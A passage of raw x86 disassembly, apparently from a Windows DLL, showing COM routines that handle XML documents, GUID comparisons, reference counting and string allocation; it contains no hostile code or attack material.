push eax
call dword ptr [ecx+8]
loc_69B5D935: ; CODE XREF: sub_69B5D8D8+42j
push 0
lea edi, [esi+1Ch]
push edi
call sub_69B17320
push 0
lea ebx, [esi+18h]
push ebx
call sub_69B17320
mov eax, [esi+34h]
test eax, eax
jz short loc_69B5D958
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B5D958: ; CODE XREF: sub_69B5D8D8+78j
push dword ptr [esi+38h]
call sub_69B50ECD
lea eax, [esi+3Ch]
push eax
call sub_69B17230
add esi, 20h
push esi
call sub_69B17230
push edi
call sub_69B17230
push ebx
call sub_69B17230
pop edi
pop esi
pop ebx
jmp sub_69B2C65C
sub_69B5D8D8 endp
; =============== S U B R O U T I N E =======================================
sub_69B5D986 proc near ; DATA XREF: .text:69B12B0Co
push 30h
push offset dword_69B5DA70
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B5D9A9
mov eax, 80004005h
jmp loc_69B5DA61
; ---------------------------------------------------------------------------
loc_69B5D9A9: ; CODE XREF: sub_69B5D986+17j
mov esi, [ebp+8]
lea ecx, [esi+4]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-4], 0
lea edi, [esi+20h]
push dword ptr [ebp+0Ch]
mov ecx, edi
call sub_69B199CC
mov eax, [edi]
mov ecx, [eax]
lea edx, [esi+24h]
push edx
push eax
call dword ptr [ecx+0Ch]
mov [ebp-2Ch], eax
test eax, eax
jl short loc_69B5DA49
mov eax, [esi+1Ch]
mov [ebp-30h], eax
mov eax, [eax+18h]
mov [ebp-34h], eax
lea ecx, [eax+0Ch]
mov edi, [edi]
mov [ebp-38h], edi
mov eax, [ecx]
push edi
call dword ptr [eax]
mov eax, [esi+1Ch]
mov [ebp-3Ch], eax
mov eax, [eax+18h]
mov [ebp-40h], eax
lea ecx, [eax+0Ch]
mov eax, [ecx]
push 2
push 2
push offset stru_69B1CA6C
call dword ptr [eax+4]
mov ecx, esi
call sub_69B5D25C
mov [ebp-2Ch], eax
test eax, eax
jl short loc_69B5DA49
push 1
mov ecx, esi
call sub_69B5D6A0
mov [ebp-2Ch], eax
jmp short loc_69B5DA49
; ---------------------------------------------------------------------------
loc_69B5DA36: ; DATA XREF: .text:69B5DA74o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5DA3F: ; DATA XREF: .text:69B5DA78o
mov esp, [ebp-18h]
mov dword ptr [ebp-2Ch], 80004005h
loc_69B5DA49: ; CODE XREF: sub_69B5D986+5Cj
; sub_69B5D986+A0j ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B5DA61: ; CODE XREF: sub_69B5D986+1Ej
call sub_69B1853C
retn 8
sub_69B5D986 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B5DA70 dd 0FFFFFFFFh dd offset loc_69B5DA36
dd offset loc_69B5DA3F
; ---------------------------------------------------------------------------
loc_69B5DA7C: ; DATA XREF: .text:off_69B29180o
push esi
mov esi, ecx
call sub_69B5D8D8
test byte ptr [esp+8], 1
jz short loc_69B5DA94
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B5DA94: ; CODE XREF: .text:69B5DA89j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B5DA9B proc near ; CODE XREF: sub_69B5DD72+1Ap
; sub_69B5DD72+30p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov edx, [eax]
mov ecx, [esp+arg_4]
cmp edx, [ecx]
jnz short loc_69B5DAC6
mov edx, [eax+4]
cmp edx, [ecx+4]
jnz short loc_69B5DAC6
mov edx, [eax+8]
cmp edx, [ecx+8]
jnz short loc_69B5DAC6
mov eax, [eax+0Ch]
cmp eax, [ecx+0Ch]
jnz short loc_69B5DAC6
xor eax, eax
inc eax
jmp short locret_69B5DAC8
; ---------------------------------------------------------------------------
loc_69B5DAC6: ; CODE XREF: sub_69B5DA9B+Cj
; sub_69B5DA9B+14j ...
xor eax, eax
locret_69B5DAC8: ; CODE XREF: sub_69B5DA9B+29j
retn 8
sub_69B5DA9B endp
; =============== S U B R O U T I N E =======================================
sub_69B5DACB proc near ; CODE XREF: sub_69B5DAE5+19Ep
; sub_69B5DAE5+1B0p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov ecx, [esi]
xor eax, eax
test ecx, ecx
jz short loc_69B5DAE1
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
and dword ptr [esi], 0
loc_69B5DAE1: ; CODE XREF: sub_69B5DACB+Bj
pop esi
retn 4
sub_69B5DACB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5DAE5 proc near ; CODE XREF: sub_69B5E40C+44p
pvarg = VARIANTARG ptr -50h
var_40 = word ptr -40h
var_30 = word ptr -30h
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 50h
push ebx
push esi
push edi
xor esi, esi
push offset aXmldocument ; "XMLDocument"
mov edi, ecx
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+var_10], esi
call SysAllocString
cmp eax, esi
mov [ebp+var_20], eax
jz loc_69B5DCBF
mov eax, [edi+14h]
mov ecx, [eax]
lea edx, [ebp+var_10]
push edx
push eax
call dword ptr [ecx+48h]
test eax, eax
jl loc_69B5DCBF
mov eax, [ebp+var_10]
cmp eax, esi
jz loc_69B5DCBF
mov ecx, [eax]
lea edx, [ebp+var_1C]
push edx
push eax
call dword ptr [ecx+24h]
mov edi, eax
cmp edi, esi
jl loc_69B5DCA8
lea eax, [ebp+pvarg]
push eax ; pvarg
mov [ebp+var_1], 0
xor bl, bl
mov [ebp+var_30], 3
mov [ebp+var_28], esi
call VariantInit
cmp [ebp+var_1C], esi
jle loc_69B5DCA8
jmp short loc_69B5DB6B
; ---------------------------------------------------------------------------
loc_69B5DB69: ; CODE XREF: sub_69B5DAE5+1BDj
xor esi, esi
loc_69B5DB6B: ; CODE XREF: sub_69B5DAE5+82j
cmp edi, esi
jl loc_69B5DCA8
cmp [ebp+var_1], 0
jnz loc_69B5DCA8
lea edx, [ebp+var_14]
push edx
sub esp, 10h
mov edi, esp
mov eax, [ebp+var_10]
lea esi, [ebp+pvarg]
movsd
movsd
mov ecx, [eax]
movsd
movsd
sub esp, 10h
mov edi, esp
lea esi, [ebp+var_30]
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+2Ch]
mov edi, eax
xor esi, esi
cmp edi, esi
jl loc_69B5DC9C
mov eax, [ebp+var_14]
cmp eax, esi
jz loc_69B5DC9C
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push offset dword_69B2B0A0
push eax
call dword ptr [ecx]
test eax, eax
jl loc_69B5DC7F
mov eax, [ebp+var_C]
lea edx, [ebp+var_8]
push edx
mov [ebp+var_8], esi
mov ecx, [eax]
push eax
call dword ptr [ecx+0ACh]
cmp [ebp+var_8], esi
jz short loc_69B5DBFE
push offset aXml_1 ; "XML"
push [ebp+var_8]
call sub_69B2ED17
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
jmp short loc_69B5DC47
; ---------------------------------------------------------------------------
loc_69B5DBFE: ; CODE XREF: sub_69B5DAE5+100j
mov eax, [ebp+var_C]
mov ecx, [eax]
lea edx, [ebp+var_18]
push edx
push offset loc_69B2B070
push eax
call dword ptr [ecx]
mov edi, eax
mov eax, [ebp+var_18]
cmp eax, esi
jz short loc_69B5DC47
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push eax
call dword ptr [ecx+54h]
cmp [ebp+var_8], esi
jz short loc_69B5DC3C
push offset aTextXml ; "text/XML"
push [ebp+var_8]
call sub_69B2ED17
test eax, eax
jnz short loc_69B5DC3C
mov bl, 1
jmp short loc_69B5DC3E
; ---------------------------------------------------------------------------
loc_69B5DC3C: ; CODE XREF: sub_69B5DAE5+140j
; sub_69B5DAE5+151j
xor bl, bl
loc_69B5DC3E: ; CODE XREF: sub_69B5DAE5+155j
mov eax, [ebp+var_18]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B5DC47: ; CODE XREF: sub_69B5DAE5+117j
; sub_69B5DAE5+131j
test bl, bl
jz short loc_69B5DC76
mov eax, [ebp+var_C]
mov ecx, [eax]
lea edx, [ebp+var_40]
push edx
push 1
push [ebp+var_20]
push eax
call dword ptr [ecx+20h]
mov edi, eax
cmp edi, esi
jl short loc_69B5DC76
cmp [ebp+var_40], 1
lea eax, [ebp+var_40]
push eax ; pvarg
setz [ebp+var_1]
call VariantClear
loc_69B5DC76: ; CODE XREF: sub_69B5DAE5+164j
; sub_69B5DAE5+17Cj
push [ebp+var_8] ; BSTR
call SysFreeString
loc_69B5DC7F: ; CODE XREF: sub_69B5DAE5+E4j
lea eax, [ebp+var_14]
push eax
call sub_69B5DACB
cmp [ebp+var_1], 0
jnz short loc_69B5DC9C
inc [ebp+var_28]
lea eax, [ebp+var_C]
push eax
call sub_69B5DACB
xor bl, bl
loc_69B5DC9C: ; CODE XREF: sub_69B5DAE5+C3j
; sub_69B5DAE5+CEj ...
mov eax, [ebp+var_28]
cmp eax, [ebp+var_1C]
jl loc_69B5DB69
loc_69B5DCA8: ; CODE XREF: sub_69B5DAE5+5Aj
; sub_69B5DAE5+7Cj ...
lea eax, [ebp+var_10]
push eax
call sub_69B5DACB
push [ebp+var_20] ; BSTR
call SysFreeString
mov eax, [ebp+var_C]
jmp short loc_69B5DCC1
; ---------------------------------------------------------------------------
loc_69B5DCBF: ; CODE XREF: sub_69B5DAE5+26j
; sub_69B5DAE5+3Bj ...
xor eax, eax
loc_69B5DCC1: ; CODE XREF: sub_69B5DAE5+1D8j
pop edi
pop esi
pop ebx
leave
retn
sub_69B5DAE5 endp
; ---------------------------------------------------------------------------
align 4
aTextXml: ; DATA XREF: sub_69B5DAE5+142o
unicode 0, <text/XML>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5DCDA proc near ; CODE XREF: sub_69B5E40C+5Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
xor ebx, ebx
push esi
push offset stru_69B25E34
mov edi, ecx
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
mov [esi], ebx
call sub_69B3D099
cmp eax, ebx
jl short loc_69B5DD6B
mov eax, [esi]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B0C0
push eax
call dword ptr [ecx]
mov ebx, eax
test ebx, ebx
jl short loc_69B5DD51
mov eax, [ebp+var_4]
push dword ptr [edi+10h]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov eax, [esi]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push offset dword_69B2B110
push eax
call dword ptr [ecx]
mov ebx, eax
test ebx, ebx
jl short loc_69B5DD51
mov edi, [edi+20h]
mov eax, [ebp+var_8]
mov ecx, [eax]
push edi
push edi
push offset stru_69B1CA6C
push eax
call dword ptr [ecx+10h]
mov ebx, eax
test ebx, ebx
jge short loc_69B5DD57
loc_69B5DD51: ; CODE XREF: sub_69B5DCDA+3Aj
; sub_69B5DCDA+5Cj
push esi
call sub_69B5DACB
loc_69B5DD57: ; CODE XREF: sub_69B5DCDA+75j
lea eax, [ebp+var_4]
push eax
call sub_69B5DACB
lea eax, [ebp+var_8]
push eax
call sub_69B5DACB
mov eax, ebx
loc_69B5DD6B: ; CODE XREF: sub_69B5DCDA+24j
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B5DCDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5DD72 proc near ; CODE XREF: sub_69B5E0A0+5j
; .text:69B5E0B9j
; DATA XREF: ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
xor ebx, ebx
cmp esi, ebx
jz short loc_69B5DDFB
push edi
mov edi, [ebp+arg_4]
push offset stru_69B1CA6C
push edi
mov [esi], ebx
call sub_69B5DA9B
test eax, eax
jz short loc_69B5DD9C
loc_69B5DD95: ; CODE XREF: sub_69B5DD72+37j
mov eax, [ebp+arg_0]
mov [esi], eax
jmp short loc_69B5DDEA
; ---------------------------------------------------------------------------
loc_69B5DD9C: ; CODE XREF: sub_69B5DD72+21j
push offset stru_69B2B130
push edi
call sub_69B5DA9B
test eax, eax
jnz short loc_69B5DD95
push offset dword_69B2B120
push edi
call sub_69B5DA9B
test eax, eax
jz short loc_69B5DDCC
mov eax, [ebp+arg_0]
mov ecx, eax
add eax, 4
loc_69B5DDC2: ; CODE XREF: sub_69B5DD72+71j
neg ecx
sbb ecx, ecx
and ecx, eax
mov [esi], ecx
jmp short loc_69B5DDEA
; ---------------------------------------------------------------------------
loc_69B5DDCC: ; CODE XREF: sub_69B5DD72+46j
push offset dword_69B2B110
push edi
call sub_69B5DA9B
test eax, eax
jz short loc_69B5DDE5
mov eax, [ebp+arg_0]
mov ecx, eax
add eax, 8
jmp short loc_69B5DDC2
; ---------------------------------------------------------------------------
loc_69B5DDE5: ; CODE XREF: sub_69B5DD72+67j
mov ebx, 80004002h
loc_69B5DDEA: ; CODE XREF: sub_69B5DD72+28j
; sub_69B5DD72+58j
mov esi, [esi]
test esi, esi
pop edi
jz short loc_69B5DDF7
mov eax, [esi]
push esi
call dword ptr [eax+4]
loc_69B5DDF7: ; CODE XREF: sub_69B5DD72+7Dj
mov eax, ebx
jmp short loc_69B5DE00
; ---------------------------------------------------------------------------
loc_69B5DDFB: ; CODE XREF: sub_69B5DD72+Cj
mov eax, 80004003h
loc_69B5DE00: ; CODE XREF: sub_69B5DD72+87j
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B5DD72 endp
; =============== S U B R O U T I N E =======================================
sub_69B5DE06 proc near ; CODE XREF: sub_69B5E0AA+5j
; .text:69B5E0C3j
; DATA XREF: ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
add esi, 0Ch
push esi ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
mov eax, [esi]
pop esi
retn 4
sub_69B5DE06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5DE1B proc near ; DATA XREF: .text:69B291CCo
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_8]
and dword ptr [esi], 0
push edi
mov edi, [ebp+arg_C]
and dword ptr [edi], 0
lea edx, [ebp+var_4]
push edx
push [ebp+arg_4]
add eax, 0FFFFFFF8h
mov ecx, [eax]
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B5DE59
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
push 0Fh
pop eax
mov [edi], eax
mov [esi], eax
xor eax, eax
loc_69B5DE59: ; CODE XREF: sub_69B5DE1B+2Aj
pop edi
pop esi
leave
retn 10h
sub_69B5DE1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5DE5F proc near ; DATA XREF: .text:69B291D0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
lea edx, [ebp+var_4]
push edx
push [ebp+arg_4]
lea eax, [esi-8]
mov ecx, [eax]
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B5DEAC
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
test [ebp+arg_8], 0FFFFFFF0h
jnz short loc_69B5DEA7
mov ecx, [ebp+arg_C]
mov eax, [ebp+arg_8]
and ecx, 0Fh
and eax, ecx
cmp eax, [ebp+arg_8]
jnz short loc_69B5DEA7
xor eax, eax
mov [esi+18h], ecx
jmp short loc_69B5DEAC
; ---------------------------------------------------------------------------
loc_69B5DEA7: ; CODE XREF: sub_69B5DE5F+2Fj
; sub_69B5DE5F+3Fj
mov eax, 80004005h
loc_69B5DEAC: ; CODE XREF: sub_69B5DE5F+1Dj
; sub_69B5DE5F+46j
pop esi
leave
retn 10h
sub_69B5DE5F endp
; =============== S U B R O U T I N E =======================================
sub_69B5DEB1 proc near ; DATA XREF: .text:69B291FCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
test esi, esi
jz short loc_69B5DED8
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [esp+4+arg_0]
cmp byte ptr [eax+1Ch], 0
mov [eax+10h], esi
jz short loc_69B5DED8
mov dword ptr [eax+18h], 5
mov byte ptr [eax+1Ch], 0
loc_69B5DED8: ; CODE XREF: sub_69B5DEB1+7j
; sub_69B5DEB1+1Aj
xor eax, eax
pop esi
retn 8
sub_69B5DEB1 endp
; =============== S U B R O U T I N E =======================================
sub_69B5DEDE proc near ; DATA XREF: .text:69B29200o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
jz short loc_69B5DF07
mov eax, [esp+arg_0]
and dword ptr [ecx], 0
cmp dword ptr [eax+10h], 0
jz short loc_69B5DF02
mov eax, [eax+10h]
mov edx, [eax]
push ecx
push [esp+4+arg_4]
push eax
call dword ptr [edx]
jmp short locret_69B5DF0C
; ---------------------------------------------------------------------------
loc_69B5DF02: ; CODE XREF: sub_69B5DEDE+13j
xor eax, eax
inc eax
jmp short locret_69B5DF0C
; ---------------------------------------------------------------------------
loc_69B5DF07: ; CODE XREF: sub_69B5DEDE+6j
mov eax, 80004003h
locret_69B5DF0C: ; CODE XREF: sub_69B5DEDE+22j
; sub_69B5DEDE+27j
retn 0Ch
sub_69B5DEDE endp
; =============== S U B R O U T I N E =======================================
sub_69B5DF0F proc near ; DATA XREF: .text:69B29204o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
mov [eax+18h], ecx
xor eax, eax
retn 8
sub_69B5DF0F endp
; =============== S U B R O U T I N E =======================================
sub_69B5DF1F proc near ; DATA XREF: .text:69B29208o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
test ecx, ecx
mov eax, 80004003h
jz short locret_69B5DF37
mov eax, [esp+arg_0]
mov eax, [eax+18h]
mov [ecx], eax
xor eax, eax
locret_69B5DF37: ; CODE XREF: sub_69B5DF1F+Bj
retn 8
sub_69B5DF1F endp
; =============== S U B R O U T I N E =======================================
sub_69B5DF3A proc near ; DATA XREF: .text:69B2920Co
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword ptr [eax+18h], 4
xor eax, eax
retn 4
sub_69B5DF3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5DF4A proc far ; DATA XREF: .text:69B29210o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, [ebp+8]
mov eax, [ebx+10h]
push esi
push edi
xor edi, edi
push edi
lea edx, [ebp+var_4]
push edx
push 1
push [ebp+arg_0]
mov [ebp+var_4], edi
mov [ebp+var_8], edi
mov [ebp+var_C], edi
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
mov esi, eax
cmp esi, edi
jl short loc_69B5DFB5
mov eax, [ebp+var_4]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push offset loc_69B5DFD0
push eax
call dword ptr [ecx]
mov esi, eax
cmp esi, edi
jl short loc_69B5DFB5
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push eax
call dword ptr [ecx+0D0h]
mov esi, eax
cmp esi, edi
jl short loc_69B5DFB5
lea edi, [ebx+14h]
push edi
call sub_69B5DACB
mov eax, [ebp+var_C]
mov [edi], eax
loc_69B5DFB5: ; CODE XREF: sub_69B5DF4A+2Ej
; sub_69B5DF4A+45j ...
lea eax, [ebp+var_4]
push eax
call sub_69B5DACB
lea eax, [ebp+var_8]
push eax
call sub_69B5DACB
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B5DFD0: ; DATA XREF: sub_69B5DF4A+39o
daa
inc esp
sub al, 33h
retf
sub_69B5DF4A endp
; ---------------------------------------------------------------------------
db 26h, 0D0h, 11h
dd 0C00083B4h, 1901D94Fh
; =============== S U B R O U T I N E =======================================
sub_69B5DFE0 proc near ; DATA XREF: .text:69B29218o
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short loc_69B5DFF0
and dword ptr [eax], 0
xor eax, eax
inc eax
jmp short locret_69B5DFF5
; ---------------------------------------------------------------------------
loc_69B5DFF0: ; CODE XREF: sub_69B5DFE0+6j
mov eax, 80004003h
locret_69B5DFF5: ; CODE XREF: sub_69B5DFE0+Ej
retn 0Ch
sub_69B5DFE0 endp
; =============== S U B R O U T I N E =======================================
sub_69B5DFF8 proc near ; DATA XREF: .text:69B291E0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov byte ptr [eax+18h], 1
xor eax, eax
retn 4
sub_69B5DFF8 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E005 proc near ; DATA XREF: .text:69B12B24o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
test esi, esi
jz short loc_69B5E02D
push edi
push 8
pop ecx
xor eax, eax
mov edi, esi
rep stosd
mov eax, [esp+8+arg_0]
push dword ptr [eax+18h] ; OLECHAR *
call SysAllocString
mov [esi+8], eax
xor eax, eax
pop edi
jmp short loc_69B5E032
; ---------------------------------------------------------------------------
loc_69B5E02D: ; CODE XREF: sub_69B5E005+7j
mov eax, 80004003h
loc_69B5E032: ; CODE XREF: sub_69B5E005+26j
pop esi
retn 8
sub_69B5E005 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E036 proc near ; DATA XREF: .text:69B12B28o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
test eax, eax
jz short loc_69B5E04E
mov edx, [esp+arg_8]
test edx, edx
jz short loc_69B5E04E
mov ecx, [esp+arg_C]
test ecx, ecx
jnz short loc_69B5E055
loc_69B5E04E: ; CODE XREF: sub_69B5E036+6j
; sub_69B5E036+Ej
mov eax, 80004003h
jmp short locret_69B5E06A
; ---------------------------------------------------------------------------
loc_69B5E055: ; CODE XREF: sub_69B5E036+16j
and dword ptr [eax], 0
mov eax, [esp+arg_0]
push esi
mov esi, [eax+10h]
mov [edx], esi
mov eax, [eax+14h]
mov [ecx], eax
xor eax, eax
pop esi
locret_69B5E06A: ; CODE XREF: sub_69B5E036+1Dj
retn 10h
sub_69B5E036 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E06D proc near ; CODE XREF: sub_69B5E266+1Ap
; sub_69B5E2ED+31p
push esi
mov esi, ecx
push dword ptr [esi+24h]
mov dword ptr [esi], offset off_69B291F0
mov dword ptr [esi+4], offset off_69B291D4
mov dword ptr [esi+8], offset off_69B291C0
call sub_69B1B2B7
lea eax, [esi+14h]
push eax
call sub_69B5DACB
add esi, 10h
push esi
call sub_69B5DACB
pop esi
retn
sub_69B5E06D endp
; =============== S U B R O U T I N E =======================================
sub_69B5E0A0 proc near ; DATA XREF: .text:off_69B291D4o
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B5DD72
sub_69B5E0A0 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E0AA proc near ; DATA XREF: .text:69B291D8o
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B5DE06
sub_69B5E0AA endp
; ---------------------------------------------------------------------------
loc_69B5E0B4: ; DATA XREF: .text:off_69B291C0o
sub dword ptr [esp+4], 8
jmp sub_69B5DD72
; ---------------------------------------------------------------------------
loc_69B5E0BE: ; DATA XREF: .text:69B291C4o
sub dword ptr [esp+4], 8
jmp sub_69B5DE06
; =============== S U B R O U T I N E =======================================
sub_69B5E0C8 proc near ; CODE XREF: sub_69B5E1BC+1Dp
push 34h
push offset dword_69B5E1B0
call sub_69B19C5C
mov edi, ecx
xor ebx, ebx
mov [ebp-1Ch], ebx
mov eax, [ebp+8]
mov ecx, [eax]
lea edx, [ebp-20h]
push edx
push offset loc_69B2B070
push eax
call dword ptr [ecx]
mov [ebp-24h], eax
cmp eax, ebx
jl loc_69B5E1A2
mov eax, [ebp-20h]
mov ecx, [eax]
lea edx, [ebp-1Ch]
push edx
push eax
call dword ptr [ecx+20h]
mov [ebp-24h], eax
mov eax, [ebp-20h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
cmp [ebp-24h], ebx
jl loc_69B5E1A2
cmp [ebp-1Ch], ebx
jz short loc_69B5E192
mov [ebp-4], ebx
push dword ptr [edi+14h]
call sub_69B8903E
mov esi, eax
mov [ebp-28h], esi
cmp esi, ebx
jz short loc_69B5E177
lea ecx, [ebp-3Ch]
call sub_69B3A66D
mov esi, [esi+0Ch]
mov [ebp-40h], esi
push esi ; int
push dword ptr [ebp-1Ch] ; lpString
lea ecx, [ebp-3Ch]
call sub_69B3A709
mov [ebp-24h], eax
cmp eax, ebx
jl short loc_69B5E16D
mov eax, [ebp-34h]
mov [ebp-44h], eax
push eax ; lpString
call sub_69B8AADD
mov [edi+24h], eax
cmp eax, ebx
jnz short loc_69B5E16D
mov dword ptr [ebp-24h], 8007000Eh
loc_69B5E16D: ; CODE XREF: sub_69B5E0C8+89j
; sub_69B5E0C8+9Cj
lea ecx, [ebp-3Ch]
call sub_69B3A8F3
jmp short loc_69B5E17E
; ---------------------------------------------------------------------------
loc_69B5E177: ; CODE XREF: sub_69B5E0C8+68j
mov dword ptr [ebp-24h], 80004005h
loc_69B5E17E: ; CODE XREF: sub_69B5E0C8+ADj
; sub_69B5E0C8+C8j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B5E199
; ---------------------------------------------------------------------------
loc_69B5E184: ; DATA XREF: .text:69B5E1B4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5E18D: ; DATA XREF: .text:69B5E1B8o
mov esp, [ebp-18h]
jmp short loc_69B5E17E
; ---------------------------------------------------------------------------
loc_69B5E192: ; CODE XREF: sub_69B5E0C8+54j
mov dword ptr [ebp-24h], 1
loc_69B5E199: ; CODE XREF: sub_69B5E0C8+BAj
push dword ptr [ebp-1Ch] ; BSTR
call SysFreeString
loc_69B5E1A2: ; CODE XREF: sub_69B5E0C8+29j
; sub_69B5E0C8+4Bj
mov eax, [ebp-24h]
call sub_69B1853C
retn 4
sub_69B5E0C8 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B5E1B0 dd 0FFFFFFFFh dd offset loc_69B5E184
dd offset loc_69B5E18D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5E1BC proc near ; CODE XREF: sub_69B5E40C+BCp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
mov esi, ecx
mov [ebp+var_4], edi
jnz short loc_69B5E1D3
xor eax, eax
inc eax
jmp short loc_69B5E222
; ---------------------------------------------------------------------------
loc_69B5E1D3: ; CODE XREF: sub_69B5E1BC+10j
push ebx
push [ebp+arg_0]
mov ecx, esi
call sub_69B5E0C8
xor ebx, ebx
test eax, eax
setnl bl
cmp [esi+24h], edi
jz short loc_69B5E21F
cmp [esi+20h], edi
jz short loc_69B5E21F
mov eax, [esi+14h]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push eax
call dword ptr [ecx+0A0h]
test eax, eax
jl short loc_69B5E216
push edi ; int
push [ebp+var_4] ; int
push dword ptr [esi+24h] ; lpszUrl
call sub_69B39C17
xor ebx, ebx
test eax, eax
setnl bl
loc_69B5E216: ; CODE XREF: sub_69B5E1BC+45j
push [ebp+var_4] ; BSTR
call SysFreeString
loc_69B5E21F: ; CODE XREF: sub_69B5E1BC+2Cj
; sub_69B5E1BC+31j
mov eax, ebx
pop ebx
loc_69B5E222: ; CODE XREF: sub_69B5E1BC+15j
pop edi
pop esi
leave
retn 4
sub_69B5E1BC endp
; =============== S U B R O U T I N E =======================================
sub_69B5E228 proc near ; CODE XREF: sub_69B5E2ED+1Ap
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, ecx
xor ecx, ecx
cmp edx, ecx
mov dword ptr [eax], offset off_69B291F0
mov dword ptr [eax+4], offset off_69B291D4
mov dword ptr [eax+8], offset off_69B291C0
mov [eax+24h], ecx
mov dword ptr [eax+0Ch], 1
mov [eax+10h], ecx
mov [eax+14h], ecx
mov [eax+18h], ecx
mov [eax+1Ch], cl
mov [eax+20h], ecx
jz short locret_69B5E263
